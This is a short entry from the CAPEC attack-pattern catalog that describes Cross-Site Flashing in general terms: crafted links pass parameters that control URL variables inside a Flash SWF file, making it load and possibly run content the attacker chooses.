CAPEC-178: Cross-Site Flashing
An attacker is able to trick the victim into executing a Flash document that passes commands or calls to a Flash player browser plugin, allowing the attacker to exploit native Flash functionality in the client browser. This attack pattern occurs where an attacker can provide a crafted link to a Flash document (SWF file) which, when followed, will cause additional malicious instructions to be executed. The attacker does not need to serve or control the Flash document. The attack takes advantage of the fact that Flash files can reference external URLs. If variables that serve as URLs that the Flash application references can be controlled through parameters, then by creating a link that includes values for those parameters, an attacker can cause arbitrary content to be referenced and possibly executed by the targeted Flash application.